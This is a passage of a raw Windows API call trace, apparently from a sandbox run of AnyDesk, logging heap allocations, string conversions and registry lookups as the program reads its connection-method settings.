1 [0283.915] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1969900 [0283.915] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969930 | out: hHeap=0x1930000) returned 1 [0283.915] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1969930 [0283.916] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969960 | out: hHeap=0x1930000) returned 1 [0283.916] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969950 | out: hHeap=0x1930000) returned 1 [0283.916] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969900 | out: hHeap=0x1930000) returned 1 [0283.916] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1969900 [0283.916] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2a) returned 0x19aa2d8 [0283.916] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969930 | out: hHeap=0x1930000) returned 1 [0283.916] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2a) returned 0x19aa348 [0283.916] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19aa2d8 | out: hHeap=0x1930000) returned 1 [0283.916] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0xc) returned 0x19ab0d8 [0283.916] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0xc) returned 0x19ab0c0 [0283.916] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0xc) returned 0x19ab090 [0283.916] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1969930 [0283.916] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2a) returned 0x19aa2d8 [0283.917] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0xc) returned 0x19ab270 [0283.917] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0xc) returned 0x19ab288 [0283.917] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0xc) returned 0x19ab2a0 [0283.917] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19ab0d8 | out: hHeap=0x1930000) returned 1 [0283.917] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19ab0c0 | out: hHeap=0x1930000) returned 1 [0283.917] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19ab090 | out: hHeap=0x1930000) returned 1 [0283.917] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19aa348 | out: hHeap=0x1930000) returned 1 [0283.917] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969900 | out: hHeap=0x1930000) returned 1 [0283.917] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1969900 [0283.917] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1969950 [0283.917] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1969960 [0283.917] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1969970 [0283.917] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969900 | out: hHeap=0x1930000) returned 1 [0283.917] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1969900 [0283.918] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969950 | out: hHeap=0x1930000) returned 1 [0283.918] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1969950 [0283.918] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969970 | out: hHeap=0x1930000) returned 1 [0283.918] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969960 | out: hHeap=0x1930000) returned 1 [0283.918] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969900 | out: hHeap=0x1930000) returned 1 [0283.918] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1969900 [0283.918] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2a) returned 0x19aa348 [0283.918] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969950 | out: hHeap=0x1930000) returned 1 [0283.918] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2a) returned 0x19aa2a0 [0283.918] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19aa348 | out: hHeap=0x1930000) returned 1 [0283.918] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0xc) returned 0x19ab090 [0283.918] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0xc) returned 0x19ab0c0 [0283.918] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0xc) returned 0x19ab0d8 [0283.919] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1969950 [0283.919] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2a) returned 0x19aa348 [0283.919] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0xc) returned 0x19ab2b8 [0283.919] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0xc) returned 0x19ab2d0 [0283.919] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0xc) returned 0x19ab2e8 [0283.919] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19ab090 | out: hHeap=0x1930000) returned 1 [0283.919] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19ab0c0 | out: hHeap=0x1930000) returned 1 [0283.919] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19ab0d8 | out: hHeap=0x1930000) returned 1 [0283.919] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19aa2a0 | out: hHeap=0x1930000) returned 1 [0283.919] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969900 | out: hHeap=0x1930000) returned 1 [0283.919] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19aa1c0 | out: hHeap=0x1930000) returned 1 [0283.920] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19aa268 | out: hHeap=0x1930000) returned 1 [0283.920] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19aa230 | out: hHeap=0x1930000) returned 1 [0283.920] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969940 | out: hHeap=0x1930000) returned 1 [0283.920] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19736f0 | out: hHeap=0x1930000) returned 1 [0283.921] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969910 | out: hHeap=0x1930000) returned 1 [0283.921] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19aa1f8 | out: hHeap=0x1930000) returned 1 [0283.921] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19742b0 | out: hHeap=0x1930000) returned 1 [0283.921] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969920 | out: hHeap=0x1930000) returned 1 [0283.921] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19a8d10 | out: hHeap=0x1930000) returned 1 [0283.921] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1969920 [0283.921] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc1ce5c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 23 [0283.921] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2e) returned 0x19742b0 [0283.922] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc1ce5c, cbMultiByte=-1, lpWideCharStr=0x19742b0, cchWideChar=23 | out: lpWideCharStr="ad.anynet.conn_methods") returned 23 [0283.922] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7e9e3d, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 1 [0283.922] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1969910 [0283.922] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7e9e3d, cbMultiByte=-1, lpWideCharStr=0x1969910, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0283.922] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1969940 [0283.922] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc274e0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 4 [0283.922] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x8) returned 0x1969900 [0283.922] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc274e0, cbMultiByte=-1, lpWideCharStr=0x1969900, cchWideChar=4 | out: lpWideCharStr="ad.") returned 4 [0283.922] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969900 | out: hHeap=0x1930000) returned 1 [0283.922] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x35) returned 0x1963560 [0283.922] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x26) returned 0x1962260 [0283.922] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1963560 | out: hHeap=0x1930000) returned 1 [0283.923] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1969900 [0283.923] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x14) returned 0x19ab030 [0283.923] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2e) returned 0x19aa1f8 [0283.923] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969900 | out: hHeap=0x1930000) returned 1 [0283.923] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969940 | out: hHeap=0x1930000) returned 1 [0283.923] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x26) returned 0x1962290 [0283.923] RegQueryValueExW (in: hKey=0x0, lpValueName="anynet.connmethods", lpReserved=0x0, lpType=0x2d4f5a8, lpData=0x0, lpcbData=0x2d4f5ac*=0x0 | out: lpType=0x2d4f5a8*=0x0, lpData=0x0, lpcbData=0x2d4f5ac*=0x0) returned 0x6 [0283.923] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Overrides", ulOptions=0x0, samDesired=0x20119, phkResult=0x2d4f5d4 | out: phkResult=0x2d4f5d4*=0x0) returned 0x2 [0283.924] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1962290 | out: hHeap=0x1930000) returned 1 [0283.924] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1969940 [0283.924] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc274e0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 4 [0283.924] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x8) returned 0x1969900 [0283.924] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc274e0, cbMultiByte=-1, lpWideCharStr=0x1969900, cchWideChar=4 | out: lpWideCharStr="ad.") returned 4 [0283.924] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969900 | out: hHeap=0x1930000) returned 1 [0283.924] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x35) returned 0x1963560 [0283.924] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x26) returned 0x1962290 [0283.924] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1963560 | out: hHeap=0x1930000) returned 1 [0283.924] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1969900 [0283.924] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x14) returned 0x19ab050 [0283.925] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2e) returned 0x19aa230 [0283.925] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969900 | out: hHeap=0x1930000) returned 1 [0283.925] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969940 | out: hHeap=0x1930000) returned 1 [0283.925] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x26) returned 0x19622c0 [0283.925] RegQueryValueExW (in: hKey=0x0, lpValueName="anynet.connmethods", lpReserved=0x0, lpType=0x2d4f5a8, lpData=0x0, lpcbData=0x2d4f5ac*=0x0 | out: lpType=0x2d4f5a8*=0x0, lpData=0x0, lpcbData=0x2d4f5ac*=0x0) returned 0x6 [0283.925] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Defaults", ulOptions=0x0, samDesired=0x20119, phkResult=0x2d4f5d4 | out: phkResult=0x2d4f5d4*=0x0) returned 0x2 [0283.925] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19622c0 | out: hHeap=0x1930000) returned 1 [0283.926] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969920 | out: hHeap=0x1930000) returned 1 [0283.926] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x84) returned 0x196b5a0 [0283.926] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969910 | out: hHeap=0x1930000) returned 1 [0283.926] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19742b0 | out: hHeap=0x1930000) returned 1 [0283.926] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x84) returned 0x19abf08 [0283.927] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x18) returned 0x19a8d10 [0283.927] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1969910 [0283.927] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1969920 [0283.927] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x19ab0d8 [0283.927] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969910 | out: hHeap=0x1930000) returned 1 [0283.927] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x8) returned 0x1969910 [0283.927] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969920 | out: hHeap=0x1930000) returned 1 [0283.927] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc14dd4, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0283.927] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0xe) returned 0x19ab0c0 [0283.927] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc14dd4, cbMultiByte=-1, lpWideCharStr=0x19ab0c0, cchWideChar=7 | out: lpWideCharStr="direct") returned 7 [0283.927] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19ab0c0 | out: hHeap=0x1930000) returned 1 [0283.927] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc1006c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 8 [0283.927] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x19ab0c0 [0283.927] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc1006c, cbMultiByte=-1, lpWideCharStr=0x19ab0c0, cchWideChar=8 | out: lpWideCharStr="connect") returned 8 [0283.927] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19ab0c0 | out: hHeap=0x1930000) returned 1 [0283.927] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x34) returned 0x1963560 [0283.927] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x8) returned 0x1969920 [0283.927] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969920 | out: hHeap=0x1930000) returned 1 [0283.928] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969910 | out: hHeap=0x1930000) returned 1 [0283.928] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19ab0d8 | out: hHeap=0x1930000) returned 1 [0283.928] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19a8d10 | out: hHeap=0x1930000) returned 1 [0283.928] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x16) returned 0x19a8d10 [0283.928] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1969910 [0283.928] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1969920 [0283.928] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x19ab0d8 [0283.928] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969910 | out: hHeap=0x1930000) returned 1 [0283.928] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x6) returned 0x1969910 [0283.928] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969920 | out: hHeap=0x1930000) returned 1 [0283.928] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc14dd4, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0283.928] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0xe) returned 0x19ab0c0 [0283.928] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc14dd4, cbMultiByte=-1, lpWideCharStr=0x19ab0c0, cchWideChar=7 | out: lpWideCharStr="direct") returned 7 [0283.928] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19ab0c0 | out: hHeap=0x1930000) returned 1 [0283.928] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc1006c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 8 [0283.928] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x19ab0c0 [0283.928] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc1006c, cbMultiByte=-1, lpWideCharStr=0x19ab0c0, cchWideChar=8 | out: lpWideCharStr="connect") returned 8 [0283.928] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19ab0c0 | out: hHeap=0x1930000) returned 1 [0283.928] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x34) returned 0x19635a0 [0283.928] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x6) returned 0x1969920 [0283.929] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969920 | out: hHeap=0x1930000) returned 1 [0283.929] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969910 | out: hHeap=0x1930000) returned 1 [0283.929] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19ab0d8 | out: hHeap=0x1930000) returned 1 [0283.929] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19a8d10 | out: hHeap=0x1930000) returned 1 [0283.929] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x14) returned 0x19a8d10 [0283.929] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1969910 [0283.929] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1969920 [0283.929] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0xc) returned 0x19ab0d8 [0283.929] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969910 | out: hHeap=0x1930000) returned 1 [0283.929] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x8) returned 0x1969910 [0283.929] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969920 | out: hHeap=0x1930000) returned 1 [0283.929] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc14dd4, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0283.929] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0xe) returned 0x19ab0c0 [0283.929] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc14dd4, cbMultiByte=-1, lpWideCharStr=0x19ab0c0, cchWideChar=7 | out: lpWideCharStr="direct") returned 7 [0283.929] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19ab0c0 | out: hHeap=0x1930000) returned 1 [0283.929] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc1006c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 8 [0283.929] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x19ab0c0 [0283.929] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc1006c, cbMultiByte=-1, lpWideCharStr=0x19ab0c0, cchWideChar=8 | out: lpWideCharStr="connect") returned 8 [0283.929] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19ab0c0 | out: hHeap=0x1930000) returned 1 [0283.930] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7e9db4, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0283.930] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0xc) returned 0x19ab0c0 [0283.930] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7e9db4, cbMultiByte=-1, lpWideCharStr=0x19ab0c0, cchWideChar=6 | out: lpWideCharStr="socks") returned 6 [0283.930] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19ab0c0 | out: hHeap=0x1930000) returned 1 [0283.930] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x34) returned 0x19635e0 [0283.930] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x8) returned 0x1969920 [0283.930] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969920 | out: hHeap=0x1930000) returned 1 [0283.930] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969910 | out: hHeap=0x1930000) returned 1 [0283.930] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19ab0d8 | out: hHeap=0x1930000) returned 1 [0283.930] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19a8d10 | out: hHeap=0x1930000) returned 1 [0283.930] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x16) returned 0x19a8d10 [0283.930] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1969910 [0283.930] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1969920 [0283.930] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0xe) returned 0x19ab0d8 [0283.930] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969910 | out: hHeap=0x1930000) returned 1 [0283.930] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x8) returned 0x1969910 [0283.930] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969920 | out: hHeap=0x1930000) returned 1 [0283.930] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc14dd4, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0283.931] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0xe) returned 0x19ab0c0 [0283.931] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc14dd4, cbMultiByte=-1, lpWideCharStr=0x19ab0c0, cchWideChar=7 | out: lpWideCharStr="direct") returned 7 [0283.931] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19ab0c0 | out: hHeap=0x1930000) returned 1 [0283.931] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x34) returned 0x1963620 [0283.931] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x8) returned 0x1969920 [0283.931] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969920 | out: hHeap=0x1930000) returned 1 [0283.931] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969910 | out: hHeap=0x1930000) returned 1 [0283.931] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19ab0d8 | out: hHeap=0x1930000) returned 1 [0283.931] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19a8d10 | out: hHeap=0x1930000) returned 1 [0283.931] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x14) returned 0x19a8d10 [0283.931] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1969910 [0283.931] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1969920 [0283.931] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0xe) returned 0x19ab0d8 [0283.931] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969910 | out: hHeap=0x1930000) returned 1 [0283.931] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x6) returned 0x1969910 [0283.931] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969920 | out: hHeap=0x1930000) returned 1 [0283.931] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc14dd4, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0283.931] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0xe) returned 0x19ab0c0 [0283.931] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc14dd4, cbMultiByte=-1, lpWideCharStr=0x19ab0c0, cchWideChar=7 | out: lpWideCharStr="direct") returned 7 [0283.932] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19ab0c0 | out: hHeap=0x1930000) returned 1 [0283.932] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x34) returned 0x1963660 [0283.932] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x6) returned 0x1969920 [0283.932] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969920 | out: hHeap=0x1930000) returned 1 [0283.932] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969910 | out: hHeap=0x1930000) returned 1 [0283.932] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19ab0d8 | out: hHeap=0x1930000) returned 1 [0283.932] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19a8d10 | out: hHeap=0x1930000) returned 1 [0283.932] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x18) returned 0x19a8d10 [0283.932] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1969910 [0283.932] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1969920 [0283.932] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0xe) returned 0x19ab0d8 [0283.932] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969910 | out: hHeap=0x1930000) returned 1 [0283.932] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0xa) returned 0x19ab0c0 [0283.932] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969920 | out: hHeap=0x1930000) returned 1 [0283.932] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc14dd4, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0283.932] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0xe) returned 0x19ab090 [0283.932] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc14dd4, cbMultiByte=-1, lpWideCharStr=0x19ab090, cchWideChar=7 | out: 